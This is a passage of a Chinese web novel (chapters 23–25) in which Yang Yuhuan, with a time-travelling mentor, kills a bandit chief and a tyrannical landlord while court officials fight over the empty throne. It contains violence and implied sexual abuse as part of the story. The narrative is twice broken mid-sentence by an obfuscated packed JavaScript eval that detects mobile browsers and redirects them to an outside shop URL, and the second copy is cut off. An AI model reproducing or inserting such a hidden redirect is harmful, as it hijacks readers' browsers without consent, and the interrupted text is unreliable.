郝美丽收起手机,看向窗外越来越近的地面。 城市在她脚下铺展开来,灯火璀璨,井然有序,那是她生活了二十多年的世界,有法律、有规则、有看似安全的日常。 但就在刚才,在那个地窖里,她真切地触碰到了这个世界的另一面,没有规则,只有强弱;没有法律,只有生存,她选择的路,注定要在这两个世界之间游走。 飞机平稳落地,滑行,停稳。 郝美丽最后看了一眼窗外,黎明前的天空呈现出一种蓝紫色,她站起身,整理了一下衣领,颈侧的伤口被布料摩擦,传来细微的刺痛,她迈步走下舷梯。 还差一批马,得弄到手。 郝美丽心想。 23.第 23 章 自那日杨玉环一骑绝尘出长安。 皇宫空置,龙椅蒙尘,百官每日依旧上朝,穿着整齐的官袍站在空荡荡的大殿里,你看看我,我看看你,最后沉默地散去。 这种沉默只维持了三天。 第四日,从陇右来的快马冲进了长安。 马背上的使者浑身尘土,手里高举一卷明黄色的绸缎诏书,他在朱雀大街上纵马狂奔,直冲皇城,沿途嘶声高喊: “陛下诏书至!” “先皇之弟、领陇右节度使李英,已奉天承运,于灵武即皇帝位!诏令长安文武,即刻迎驾,光复社稷!” 自立的新皇要进京? 整个长安,彻底沸腾了。 走了个仙女娘娘,又要来个新皇帝,可长安也还有一堆皇子皇孙呢,比如说先皇李隆基之孙,先太子李亨之子,太子妃张氏的儿子,谁才是真正的皇帝? 冷宫,如今成了全长安最热闹的地方。 张氏正坐在院中老槐树下,她儿子那个不过六七岁的孩子,趴在她膝边玩石子,阳光从树叶缝隙漏下来,在青砖地上投下晃动的光斑。 院门就是在这时被撞开的,十七八个穿着绯色官袍的官员涌了进来,为首的姓崔,博陵崔氏,脸上堆着十二分的笑。 “臣等,叩见太子妃!” 一群人呼啦啦跪倒。 张氏手里的针线停了,只淡淡说:“这里没有什么太子妃,诸位走错门了。” “太子妃此言差矣!”崔中丞抬起头,“国不可一日无君!如今长安无主,正是需要正统承继大统安定人心之时!太子虽薨,然皇孙尚在,血脉纯正,当承大位!” “臣等愿奉太子妃为皇太后,垂帘听政!奉皇孙为新帝,正位乾坤!此乃顺天应人,万民所望啊!” 身后众臣齐声附和:“请太子妃以社稷为重!” 张氏终于抬起了眼,扫过眼前一张张或激动、或算计、或贪婪的脸,然后她放下针线,伸手摸了摸膝边儿子的头。 “怕不怕?” 孩子茫然地摇摇头,往母亲身边缩了缩。 张氏笑了,她抬起头,看向崔中丞:“崔大人。” “臣在!” “你们要让我儿子当皇帝?” “正是!此乃——” “那你们知不知道,当皇帝,是要死人的。” 院中立刻变得安静起来,连槐树上的蝉都噤了声。 张氏站起身,牵着儿子的手,她走到崔中丞面前,俯视着这个跪在地上的男人:“他爷爷当皇帝,丢下满城百姓跑了,死了。他爹当太子,也想跑,也死了。现在你们要他当皇帝,是嫌他死得不够快,还是嫌我们母子俩的命太长?” “太子妃何出此言?”崔中丞脸色发白,“此一时彼一时,如今……” “如今什么?”张氏笑了,“如今仙女娘娘走了,你们觉得又可以摆弄李家人了,是吧?” 她忽然蹲下身,与崔中丞平视,两人鼻尖几乎相触。 “崔大人,听清楚了,谁想拉我儿子去坐那个位置,不管是什么皇帝、太子,还是别的什么……” 她伸手,轻轻搭在儿子细嫩的脖颈上。 “我就先掐死他。” 所有人都瞪大眼睛,难以置信地看着这个曾经贤良如今疯狂的女人,她怎么敢!那可是她的儿子! 她指向院门,“现在,滚。” 崔中丞张了张嘴,还想说什么。 “滚!不滚我就掐死他!” 官员们终于慌了,连滚爬爬地退了出去,院门重新关上,落锁,外头传来气急败坏的低声咒骂。 槐树的影子在地上慢慢拉长,张氏抱紧了儿子,闭上了眼睛,浑身颤抖起来。 从那日起,长安彻底闹开了。 有人宣称应立刻迎陇右那位,说李英承天扶难,才是正朔;有人暗中串联,想扶植其他留在长安的宗室。 皇帝这个名头,太诱人了。每日都有不同派系的官员,在空荡荡的殿堂里争吵,唾沫横飞,仿佛谁的声音大,谁就离那张椅子更近一步。 大明宫深处值房内,门窗紧闭。 张韬煮着茶,水在红泥小炉上咕嘟咕嘟响,白汽袅袅,他对面坐着两个人——陈希烈,达奚珣,三人围坐。 “再这么下去,不用叛军打回来,长安自己就先乱了。” 陈希烈端起茶盏,抿了一口,又放下,他看向张韬:“宫内如今还能守住么?” 张韬垂着眼,用竹夹拨弄炭火:“各宫门还在奴婢的人手里,但人心浮动,若真有哪位王爷带着私兵硬闯,非要坐那张椅子,可挡不住哟……” 又是沉默。 “所以,”张韬抬起头,目光在二人脸上扫过,“二位相爷,该拿个章程了。” “章程?”达奚珣苦笑,“张公公,如今这局面,还有什么章程?” “迎,还是不迎,迎哪位?”张韬声音平静,“陇右那位,或是长安的某位王爷,总得有个说法……” “迎李唐新帝?”陈希烈缓缓开口,“那若是娘娘回来,当如何?” “不迎?”达奚珣接话,“你我本就是李唐旧臣,如今先帝已逝,太子亦薨,不奉新君,我们又以什么身份站在这朝堂上?天下人又会如何看我们?” 死结。 三个人心里都清楚这个死结在哪里。 杨玉环。 她走了,却像一把剑悬在所有人头顶。她若永远不回来,一切好说;她若回来,今日谁坐了那个位置,明日就是谁的催命符。 可她到底还回不回来? 没人知道。 陈希烈望向窗外,已是黄昏,天际晕开一片惨淡的橘红。 “其实,”达奚珣低声说,“还有一条路。” 陈希烈和张韬同时看他。 “谁也不迎,”达奚珣声音压得更低,“就以长安留守、朝廷暂摄的名义发号施令,维持现状,等……” 等什么?他没说出口。 等杨玉环在北方战死?等叛军卷土重来?等天下分出个真正的胜负?还是等那把悬顶之剑,最终落下? 一阵沉默后,陈希烈忽然开口,目光落在达奚珣脸上:“听闻达奚公府上,有位孙女,跟着娘娘北上了?” 达奚珣端着茶盏的手一顿,随即扯出一个笑:“陈相说笑了。并非我孙女,一个自逐家门的外人罢了,她的生死荣辱,早已与达奚家无关。” 他话说得轻松,陈希烈看着他,没有接话,只是沉默地转开了视线。 许久,张韬拨弄了一下炭火,幽幽道:“如今想来,当初逼得有些太急了?” 他的声音很轻,像在问人,也像在自问。陈希烈依旧沉默,只是望着窗棂上那片渐沉的暮色,半晌,才叹出一口气。 三人各怀心事,一时间,竟都有些惘然。 就在这时。 “当——!” “当当当——!” 从皇宫正殿方向传来的钟声,撕破了黄昏的寂静。 三人一震。 这钟声他们太熟悉了,那是天子登基、大朝会时才敲的景阳钟,自李隆基弃城而逃,杨玉环再次入主后,这钟再未响过。 “这是……”达奚珣起身。 门外传来急促的脚步声,一个小宦官连滚爬爬冲进来,脸色惨白:“二位相爷!公公!不好了!赵王李璘带着一帮大臣,闯进了紫宸殿,已经穿上龙袍,正在受贺,要登基了!” 时间仿佛静止了一瞬。 陈希烈慢慢闭上眼睛,长长吐出一口气,达奚珣跌坐回椅子上,张韬面无表情,只是拨弄炭火的手,微微一顿。 “到底……”达奚珣喃喃,“还是有人等不及了。” 钟声还在响,一声声,砸在长安城上空,声音传得很远,越过宫墙,越过坊市,越过那些惶惶不安的百姓的头顶,飘向北方空旷的原野。 张韬忽然轻声问:“二位相爷,你们说,娘娘在做什么呢?” 没人回答。 陈希烈睁开眼,望向北方,天际最后一缕光正在消失,那个女子走了,而她曾经坐过的位置,正被一群人像争抢腐肉般撕咬。 他忽然觉得有些可笑。 费尽心机,步步为营,把她逼走,以为能得到一个可以掌控的棋盘,可如今棋盘还在,下棋的人却都成了棋子,在一团混乱中互相践踏,而他,似乎也成了这混乱的一部分。 钟声停了。 三人依旧坐着,茶已凉透。 * 北方,星垂平野。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901862|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是杨玉环第一次执剑杀了眼前人。 她抬眼望去,只看到了五千军士和她一起奋勇,剿灭着一伙沦为山贼的溃军,残肢断臂,血流浸枯枝,一片惨状。 这里离长安不过两百公里,就有几百个溃兵聚集于此劫掠百姓杀害无辜,看来天下已经彻底动乱了。 “这些士兵为什么要做山贼?” 杨玉环收剑入鞘,指尖触及剑柄上未干的血渍,粘腻极了,自问。 不过多时,战斗进入尾声,薛荣拖了那溃军的首领来,按跪在杨玉环面前,她又问出了这个疑问。 那首领吐一口血痰,眯着眼迎着将落的残阳,看了杨玉环一会,浑浊的眼珠动了动,分辨了一会道:“啊,我晓得了,你是那个仙女娘娘。” 薛荣踹他一脚,厉声呵斥:“好好回话!” 首领被踹倒在地,脸砸进地面泥泞,混着血水,头发散乱,狼狈极了,他身后,几百溃军早已死伤殆尽。 他闭上眼睛狠狠喘息了几回,恢复了一丝力气,才挣扎着弓着腰,想要直起身来,在所有人冰冷的俯视下,他竟重新挺直了腰。 他又看向杨玉环,嘿嘿一笑,露出染血的黄牙:“你这个女人,真是命好啊……” 薛荣又一脚过去,他彻底被踹倒,这一次薛荣的力气很大,他怎么爬也爬不起来,只能俯在地上像破风箱一样喘气,薛荣使了个眼神,两个士卒粗暴地把他架起来。 “好好回话!听见没!” 首领看也不看薛荣,只死死盯着杨玉环,脸上还是那种笑。杨玉环一摆手,说:“你说吧,我听着。” 那首领这才又吐出磕进嘴里的泥土,抬头,油污的脸上混着一种复杂表情,口齿不清地说:“杨玉环,老子说你命好,你怎么还不信呢?” “你说说你,生在弘农杨氏,先嫁了王爷,又嫁了皇帝,虽说马嵬坡上差一点被勒死,可转头又成了上仙的女儿!你这几十年,可曾吃过一点苦?受过一点累?” “就连皇位,都有上仙捧到你手里,这还不是命好?那什么才算是命好?” 一句话就问住了杨玉环,她默然。 那首领明白自己今日必死无疑,也没有了求饶之心,反而豁出去一般放开了舌喉,什么话都敢说出来。 他又道:“我知道,你们这些人,顶顶尊贵,一颗荔枝也要千里驰运,真真是无限江山千娇万宠,哈哈哈哈哈……” 这笑声落在杨玉环耳中,只觉格外刺耳,她张了张嘴,似乎想要辩解,但她看着自己执剑的手,虽然混了血,却还是这样白净,她撇开了目光闭上了嘴。 “我十八岁从了军,到今年,三十八岁,守在边疆整整二十年,杀了多少吐蕃人?军功薄上也有过大爷我的名字!” “可他们怎么对我的呢?军饷年年被克扣,饭吃不饱一口,挨打倒是挨得多,保家卫国倒要被欺辱至此?贵妃娘娘,仙女娘娘,你告诉我,这是什么世道?还有天理吗?”他瞪大了眼睛,目光刺向杨玉环。 “我们这些人是什么?是谁都可以吃一口的肉!皇帝能吃,贵妃能吃,门阀世家能吃,官吏地主能吃,为什么我要被吃,为什么我不能吃别人?”他突然变得很愤怒,喘息声也变得越来越大,说完一句要停下来很久。 可奇怪的是,没有人打断他,连薛荣都抿紧了唇。 “皇帝老子倒是好,夜夜笙歌,纳了你这个漂亮儿媳,快活得很!他快活了,我就不快活!安禄山要去杀了皇帝,我头一个要跟着去!我要跟着他,去杀了皇帝老子!我也要吃人!我才不要被吃!”他说完哈哈哈大笑起来,笑声却比哭还难听。 “我跟着安禄山进了长安,杀了很多百姓,抢了很多东西,快活得很,简直是这辈子最快活的时候!可惜,你这个仙女来了,安禄山被杀了,我只能跑,带着我的兄弟们落草为寇,在这座大山上又快活了几个月,没想到,你又追来了!你真是阴魂不散啊,该死,真该死!” 杨玉环唰地把剑一竖,剑尖直指他咽喉,道:“你杀了这么多无辜百姓,你才该死!” 那首领却浑然不惧,仰天长笑,更把脖子更往前递了递,几乎触到剑尖,邪笑着说:“我是该死!那你呢?贵妃娘娘,仙女娘娘,吃我们这些人血肉的时候,有没有你?” “杨玉环,你该不该死!” 24.第 24 章 “你说得对,我也该死。” 杨玉环忽然开口。 所有人都愣住了,包括那首领。 “我的命更是好得不得了,我生来锦衣玉食,不知边塞苦寒,不晓饥馑滋味。而你,守疆二十年,换不来一口饱饭,这世道确实没有天理。” 她看着首领眼中闪过的错愕,继续道:“李隆基该死,那些克扣你们军饷,把你们当猪狗的门阀将帅都该死,这个让你活不下去也让我活不下去的世道——更该死!” 她剑尖稳住,直指他心口:“但长安那些被你砍了脑袋的百姓,他们可曾克扣过你的军饷?那些被你掳走的女子,她们可曾让你吃不饱饭?可曾打骂过你?可曾对不起你?” “你自以为有天大的冤屈,所以挥刀向更弱者,甚至挥刀挥得更重更狠,你和李隆基有何区别?受害者变成新的加害者,从一条被打的狗,变成了一条见人就咬的疯狗!吃了人的疯狗,最该死!” “我杀了李隆基,今天,我也会杀了你!” “再让所有该死的人,都去死!” 话音刚落,剑已递出。 杨玉环的剑捅穿了他的身体,那首领浑身一颤,低头看了看透胸而出的剑,又抬眼看杨玉环,一大口污血喷溅出来,染红了杨玉环的衣摆。 他竟咧开嘴,扯出一个比哭还难看的笑,道:“杨玉环,你有种,老子是疯狗?老子在地狱等着你……” 说完,气绝。 杨玉环抽回剑,血珠顺着剑槽滑落,滴在枯草上,她没再看他,只望着远处渐沉的暮色,山风卷起血腥气,扑在脸上,凉飕飕的,一群人很久都没说话。 金吾卫开始清理战场,将贼寇的尸首拖到一旁空地,挖坑掩埋,寨子里的抵抗早已平息,只剩下翻箱倒柜的声音。 杨玉环站在原地,看着士兵们忙碌,达奚瑜走到她身边,递过一块干净的布巾,杨玉环接过来,慢慢擦拭着剑身上的血迹。 不多时,薛荣回来了,脸色有些沉郁。 “娘娘,寨子查过了,粮食囤了不少,大多是抢来的,还有些金银细软,另外,”他顿了顿,“在后头几个木棚里,发现了三十多个女子……” 杨玉环擦剑的手一顿。 她跟着薛荣走到寨子后方,那里搭着几间棚屋,低矮潮湿,几十个女子蜷缩在角落,衣衫褴褛,大多低着头,不敢看人,听到脚步声,有几个吓得直往后缩,杨玉环的目光扫过她们。 “你们……”她开口。 “家在何处?我让人送你们回去。” 一片死寂。 没有人回答,只有压抑的啜泣声,过了许久,一个年纪稍长些的妇人,才抬起头,脸上泪痕交错,眼神却是一片麻木。 “大人,我们回不去了。”她声音干涩,“被掳来这些时日,早就不清白了。回去也是给家里蒙羞,要么一根绳子吊死,要么被沉塘……回不去了……” 杨玉环张了张嘴,想说“不会的”,想说“我送你们回去,没人敢说什么”,可这些话到了嘴边,又停住了。 就在这片沉默中,角落里,一个瘦小的身影动了动,是个看起来不过十四五岁的女孩,头发枯黄,脸上脏得看不出原本模样。 她怯生生地抬起头,看了看杨玉环,又迅速低下头,声音细得像蚊子哼:“这里……这里也挺好。” 杨玉环以为自己听错了,蹙眉道:“你说什么?” 女孩似乎被她的语气吓到,缩了缩脖子,但过了一会儿,又鼓起勇气,小声重复:“这里能给口饱饭吃……” 杨玉环的视线落在女孩隆起的腹部,心头一沉。 女孩似乎察觉到了她的目光,下意识用手护住肚子,声音更低了,却说:“家里的地,都是王老爷的,每年打下粮食,要先交够老爷的租子,剩下的爹和弟弟吃,我和娘喝点稀的,捡点野菜,从来没有吃饱过……” “被抓到到这里,他们是坏人,总欺负我……”她的声音颤抖起来,头垂得更低,“可是他们给我饭吃,能让我吃饱,有时候他们开心了,还能给我一碗白米饭……” “这里比家里好……”她总结道。 “我不想回家去,我想留在这里。” 棚屋里静得可怕,只有山风穿过缝隙的呜咽。 杨玉环站在那里,一动不动,手中的剑沉甸甸的,她看着那个护着肚子的女孩,看着周围这些女子空洞麻木的脸,看着她们身上累累伤痕。 她抬起手中的剑,剑尖映着棚屋外漏进来的一点天光,寒芒凛冽,她看向那个女孩:“你说的那个王老爷,叫什么名字?他在哪里?” * 兴始县城。 城中最好的地段,一座五进的大宅院飞檐斗拱,气派非凡,正堂里,一个穿着团花绸缎常服的中年男子,正靠在一张紫檀木躺椅上,就着窗外透进来的午后阳光,欣赏着自己拇指上新得的翡翠扳指。 扳指碧绿通透,水头极好,他满意地眯了眯眼。 管家垂手立在阶下,低声禀报:“老爷,今年春上雨水不多,夏粮怕是要减些收成,下头几个庄子,已经有些不安分的佃户在嘀咕,说是租子太重……” 中年男人闻言,眼皮都没抬一下,只轻轻转了转扳指,哼道:“不安分?我养着那几百号护院庄丁,难道是吃干饭的?哪个庄子敢闹事,带人过去,该抓的抓,该打的打,还要我教你?” “规矩就是规矩,租子一粒也不能少。这兵荒马乱的年头,有地种有饭吃就不错了,还敢跟老爷我讨价还价?” “是,老爷。”管家连忙躬身,脸上堆起谄媚的笑,“小的明白,不过也正因为这兵祸不断,北边运粮的路时断时续,粮价可是翻着跟头往上涨。老爷咱们库里屯的那些粮食,若是这时候放出去……” 王老爷这才抬起眼皮,瞥了管家一眼,有些不屑:“不急,再等等,这才到什么时候?等粮价爬到顶,估摸着,怎么也能能多赚个万把两银子。长安城里那种湖绉料子,听说不错,你留意着,选些上好的,给咱们本家宗主上送去……” “老爷放心,小的都记下了,一定办得妥妥当当。”管家连声应承。 王老爷挥了挥手,管家识趣地退了下去,堂内又恢复了宁静,王老爷重新将目光投向手上的扳指,越看越是喜爱,心中越发惬意,这世道,乱起来好啊,就该乱! 到了晚上,天色渐渐暗了下来,宅院里点起了灯笼。王老爷用了晚饭,又听了会儿小曲,便有些倦怠,想着今日该去新纳的第八房小妾那里歇息。 那女子虽出身低微,但胜在年轻鲜嫩,最会侍奉,很合他胃口,近些日子很得他的宠爱,他由丫鬟扶着,往后院深处走去。 八姨娘的屋子单独在一个僻静小院,布置得倒还算精致,掀帘进去,一股脂粉香混着熏香扑面而来。 一个穿着水红撒花襦裙的女子,正对镜梳妆,从铜镜里瞧见他进来,立刻转过身,脸上绽开一朵笑,起身迎了上来。 “老爷,您可来了,妾身等您等得心都焦了。” 王老爷拍了拍她柔嫩的手背,被她扶着在榻边坐下,小妾顺势偎进他怀里,仰着脸,一双眼睛里泛着水光:“老爷,您这几日都忙,都没好好陪陪妾身,妾身心里空落落的……” “这不是来了么。”王老爷有些受用,捏了捏她的下巴。 “老爷~”小妾拖长了调子,手指在他胸前画着圈,声音更低了,带着几分羞怯,“妾身想给老爷生个孩子,不拘是儿是女,都是老爷的骨血,有了孩子,妾身这心里才算真正踏实,往后也好有个依靠……” 她说着,眼角悄悄觑着王老爷的脸色。 王老爷听了,心中一动。 他已有两个嫡子,三个庶子,女儿也有几个,子嗣上不算单薄,多一个庶出的孩子,无非是多添一双筷子,但看这小妾年轻鲜妍,若能生下个一儿半女,往后这院里也更热闹些,她也能更死心塌地。 这般想着,他便呵呵一笑,揽着小妾肩膀的手紧了紧,“既是你有这个心,老爷我岂能不成全?不过……” 他略顿了一顿,浑浊的眼珠瞥着她,“嫡庶有别,这是老祖宗定下的规矩,你心里得有个谱,日后就算有了子嗣,也要安分守己,万不能生了不该有的心思,越过了正头主母和嫡出的哥哥们去,懂吗?” 小妾依偎在他怀里的身子微微一僵,随即立刻放得更软,仰起脸,笑容愈发甜美恭顺:“老爷教诲的是,妾身自然明白。” “正房夫人是出身世家的大家闺秀,妾身心里敬仰得很,平日里连多看一眼都不敢僭越,哪里敢有半分不敬?只求能有个孩儿傍身,将来尽心伺候老爷夫人,便是妾身天大的福分了。” “嗯,你是个懂事的。”王老爷满意地点点头,嫡庶有别才是兴旺之道。他心里那点敲打的兴致过了,便又被眼前的温香软玉勾起了别的心思。 他凑近她耳边,带着酒气的呼吸喷在她颈侧,手也开始不老实起来:“咱们就加把劲,给你这福分添点实在的?” 小妾嘤咛一声,假意推拒了一下,便半推半就地被他揽着往那铺着锦被的雕花大床上去,红烛高烧,帐幔低垂,衣衫窸窣落地,眼见是一室春光将起。 忽然听见前院方向传来一阵骚动。 王老爷眉头一皱,不悦道:“怎么回事?前头闹哄哄的,成何体统?” 话音刚落,管家连滚爬爬地冲进了屋子里,脸色煞白,气喘吁吁,话都说不利索:“老爷!不好了!外头来了好多兵!把咱们府给围了!” “兵?”王老爷先是一愣,随即怒道,“哪里来的兵?县衙的?还是过路的溃兵?给他们些钱粮打发了便是,慌什么!” “不是啊老爷!”管家都快哭出来了,“看着不像寻常官兵,杀气腾腾的!为首的是个女的,她指名道姓要见您!还说……” “说什么?” “说让您出去,领死!” * 不过一炷香的时间。 王老爷一家子,连同护院、管家、得脸的仆役,全被反剪双手,像捆猪猡似的摁在了前院冰凉的石板地上,火把噼啪燃烧,映着一张张惊惶失措的脸。 王老爷被两个士卒死死压着肩膀,脸颊贴着粗糙的地面,硌得生疼。他先是惊,随即一股怒火直冲头顶,哪来的乱兵?竟敢如此无礼!强闯民宅,捆绑士绅,还有没有王法了! 这群丘八,定是哪里溃散的兵痞,想来讹诈粮草!哼,这般不懂规矩,上来就动粗,还指望他好声好气地进献?做梦! 他心里转着这些念头,自然紧闭着嘴,一言不发,只用眼角余光狠狠剜着周围士卒的腿脚,他等着,等着这群莽夫发现硬来无用,终究得把他请起来,客客气气地谈价码。 他王老爷在县里,乃至在州府,都是有头有脸有靠山的人物,岂是能被随便拿捏的? 杂乱的脚步声由远及近,停在了他面前。 一双沾着泥污的靴子。 王老爷艰难地扭动脖子,向上看去,火光跳跃,照亮了一张女子的脸,实在是美丽极了。 她穿着骑装,外罩软甲,腰间悬剑,站在那里,周围杀气腾腾的士卒自然而然地以她为中心,对他怒目相视。 女人?女人也能领兵?王老爷心头疑窦更甚。 那女子垂眼看着他,开口:“你就是王老爷?” 王老爷皱了眉,努力想端起几分往日的气度,奈何姿势实在狼狈,只能从鼻子里哼出一声:“你又是谁?带兵私闯民宅,捆绑良民,可知这是杀头的罪过!” 女子没理会他的质问,只继续问:“我听说,你收租 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你疯了?”他失声喊道,“你知不知道你在说什么?我是这县里第一的积善人家,修桥铺路,施粥舍药,谁人不知?我乃琅琊王氏子弟,你杀我?天下世家能容你?朝廷法度能容你?你……你这是自绝于天下!” 女子重复了一遍他的话:“积善人家,氏族子弟,琅琊王氏。” 她点了点头,“果然厉害。” 王老爷见她似乎知道利害,心头稍松,忍着痛楚屈辱,试图抓住这根台阶:“你既知我王家,当知我并非吝啬之人,今日之事,或许有些误会。你放了我,我可以给你一批粮,足够你这些人马用度。你带着粮,去别处吧,今夜之事,我可以不追究……” 他自觉已做出了天大的让步,她该满意了。 女子又笑了笑,这次,她往前走了两步,在王老爷面前蹲了下来,说:“手伸出来。” 王老爷一愣,不明所以,薛荣一把拽出来他的手,压在地上,王老爷看她盯着自己的手,忙开口:“喜欢这扳指?顶好的翡翠,水头足,送你了!就当交个朋友……” 女子她点了点头,像是确认了什么。 下一瞬,寒光一闪! “啊!!!” 凄厉至极的惨叫划破夜空!王老爷眼睁睁看着自己戴着扳指的那只手,齐腕而断!鲜血喷涌而出,瞬间染红了地面,断手落在地上,那枚碧绿的扳指在血泊中显得格外刺眼。 他嚎叫着,翻滚着,鼻涕眼泪糊了一脸,哪里还有半分方才的体面。 女子站起身,避开喷溅的血迹,说:“王老爷,我叫杨玉环。” 王老爷布满血丝的眼睛瞪得几乎要裂开,难以置信地望向她。杨玉环?那个杀了皇帝和太子的仙女?妖妃?她怎么会在这里?她为什么要这样对自己? 杨玉环看着他惊骇欲绝的表情,摇摇头。 “王老爷,我说过很多遍了。” “我今天来,是来杀你的。” 话音未落,剑已递出,当剑刃刺入王老爷肥胖身躯时,杨玉环发现,竟然和刺进李隆基身体时一样,原来他们是一样的,可她杨玉环早已不是曾经那个杨玉环了。 王老爷最后的意识,是剧痛,是无边的黑暗,以及那张近在咫尺冷漠女子的脸,她怎么敢?!她怎么敢…… 院子里死寂了一瞬。 随即,爆发出震天的哭嚎! “爹!爹啊!妖女!不得好死!” “老爷啊!老爷啊!” “妖女!你杀了老爷!” “杨玉环,你丧尽天良!你不得好死!” “琅琊王氏不会放过你的!天下人都会唾弃你!” 杨玉环没有立刻说话,她静静地站在那里,握着染血的剑,目光缓缓扫过那一张张因愤怒、恐惧、仇恨的脸,听着每一句辱骂。 她很是不解。 为什么? 明明他们的生死就在她一念之间,明明刀就架在脖子上,为什么他们不怕呢?他们到了此刻,仍然真心实意地觉得——该死的是她。 他们怎么能如此……理直气壮? 她终于抬起手,止住了薛荣要上前呵斥的动作,看向骂得最凶的男子,问:“为什么你们不怕我?” 那青年一愣,似乎没想到她会问这个,随即脸上爆发出屈辱愤怒的神色,仿佛受到了莫大的亵渎:“怕你?你这等悖逆人伦、弑君杀贤的妖孽,也配让人怕?” “我父明明已答应给你粮草,给你珠宝,你竟还下此毒手!你听清楚,我父生前修桥铺路,周济乡里,是方圆百里公认的善人!你杀了他,你杀了这样一个大善人!天下人一定会看清你的真面目!一定会将你千刀万剐,为我父报仇雪恨!” “杨玉环,该怕的是你!是你该怕天下悠悠众口!怕青史如铁笔!怕我王氏一族倾尽全力的报复!” 其他家眷仆役也跟着哭喊叫骂,不堪入耳极了,仿佛他们才是无辜的受害者,而持剑站在那里的杨玉环,是十恶不赦的魔鬼。 杨玉环听着,一切都明白了。 啊——原来如此。 25.第 25 章 “妈妈,为什么?” “我寻访了乡里县衙,所有人都说,王老爷是个好人,王老爷是个善人,难道我错了吗?难道我不该杀他?” 一条乡间小路上,杨玉环和郝美丽并肩而行。那个十四岁的女孩,她叫刘小丫,刘小丫有些惊恐的骑在马上,跟在前面两个步行的女人后面,往自己家的方向而去。 杨玉环在送刘小丫回去的路上,郝美丽来了。 “玉环,你做得对。” “有些人太苦了,苦到不知道自己在受苦,他们有腿,却出不了远门,他们有眼睛,却看不到真相,他们有嘴,却不能为自己说话,他们以为全天下所有人都是这样的苦日子,这种巨大的苦痛中偶尔有一点甜,便心满意足感激涕零了。”说完,郝美丽看了一眼刘小丫。 “可是,玉环,这是不对的。” “妈妈,千百年来都是这样过来的,难道都错了吗?” “向来如此,便对吗?” “我所在的世界,每个人都能有饭吃、有书读,可以去实现自己的理想,可以去创作自己的事业,可以用自己的想法去过一生,但它并非天生存在的,它是无数人前赴后继,用鲜血和生命去打破枷锁、争取权利,才艰难建立起的社会。” “妈妈,那是仙界吗?” “玉环,它也是人间,只不过是一代代人努力反抗压迫剥削,很多很多人付出了生命的代价后,才争得的善果,才有我们的今天。” “妈妈,这需要经过多久的努力?” “时时刻刻,永不停息。” “没有彻底结束的时候吗?” “压迫永远不会彻底消失,掉以轻心就会坠入深渊,新得轮回或许已经在等着,但我们要为了所有百姓而战,让更多人获得幸福生活而努力。” “就算这一路上有太多太多曲折艰难?” “义无反顾,在所不惜。” “妈妈,我可以吗?” “你当然可以。” “妈妈,我要怎么做?” “玉环,我只是一个普通人,我并没有改朝换代建立国家进行改革的经验,但我那个时代有很多先驱,他们做了很伟大的事业,他们让万万人获得了幸福,或许我可以给你讲讲他们的故事……” …… 等走完这条路时,郝美丽的身影已经不见了。 杨玉环回头看,身后所有人都在看着她,而她,只有自己。杨玉环回过头继续往前走,不知怎么得,她轻轻摸了摸妈妈留下的那把小手枪。 半个时辰后。 她们一行人,沿着村道进了刘家庄。 几间低矮的土坯房挤在一处,院子里堆着柴禾,一个干瘦的中年汉子正佝偻着背劈柴,听见马蹄声,抬头一看,见一群甲胄鲜明的军士拥着一位气度不凡的女子进来,进了他的家门。 他手里的柴刀“哐当”掉在地上。 “军爷,各位军爷……”刘父膝盖一软,噗通跪倒,头磕在泥地里,叛军来了吗? 他身后的破木门里,钻出来一个面黄肌瘦的男孩,约莫八九岁,看见这阵仗,吓得呆在原地,动也不敢动。 杨玉环示意士卒停下,自己走上前几步,达奚瑜紧随身侧,她看着地上簌簌发抖的汉子,又看了看从马上下来的刘小丫,开口道:“你是刘小丫的父亲?” “是,是……”刘父不敢抬头。 “你女儿,我们送回来了。” 刘父这才敢微微抬起一点视线,终于看到了自己的女儿,他脸上露出一丝喜意,可当他看清女儿明显隆起的腹部时,脸上的喜意褪得一干二净,张着嘴,却发不出半点声音。 杨玉环等了他片刻,问:“你还愿意养她吗?” 刘父浑身一抖,像是终于被这句话刺醒,他看了看这队人马,看了看被所有人围着的刘小丫。 他以头抢地,砰砰作响,带着哭腔:“愿意!愿意!军爷和贵人送回来的,小的怎么会不愿意!小丫是小的亲闺女……” 他说得又快又急,仿佛慢一点就会大祸临头。 自始至终,他没敢再看女儿一眼。 杨玉环沉默地看着他磕头,直到他额头沾满泥土,才偏头对薛荣示意,薛荣从怀中取出一小袋银钱,走过去,放在刘父面前的泥地上,达奚瑜也陪着刘小丫,走到了自己家院子里,她回家了。 刘父的磕头停住了,怔怔地看着那袋钱。 杨玉环将人送到了,她父母愿意继续赡养,也就不再多说,转身,走向院外。达奚瑜最后看了一眼那个女孩单薄颤抖的背影,轻叹一声,也跟了上去,士卒们牵着马调转方向,马蹄声再次响起,渐行渐远。 院子里,只剩下一家三口,和地上那袋钱。 过了许久,等外面彻底没了声响,刘母才敢从屋里踉跄着扑出来,她一把抱住女儿,嚎啕大哭起来:“我的丫啊!你终于回来了!你受苦了!你受苦了啊!” 刘小丫被她抱着,身子僵着,眼泪往下淌。 刘父慢慢从地上爬起来,没去管妻女的痛哭,他先走到院门边,小心地探头往外张望,确认那些兵马真的走了,才长长舒了一口气,腿一软,差点又坐倒在地,他扶着土墙稳住身子,目光落回地上那袋钱上。 他走过去,捡起钱袋,掂了掂,分量不轻,他急忙将钱袋塞进怀里,紧紧捂住,然后,他才看向被妻子抱着的女儿,眼里的喜意涌起又被消失,落在她那个无法遮掩的肚子上,这肚子,这肚子! 小丫被山贼掳走了几个月,这肚子里…… 他冲过去,一把将妻子扯开,指着刘小丫的肚子:“这是什么?你说!这是什么孽障!” 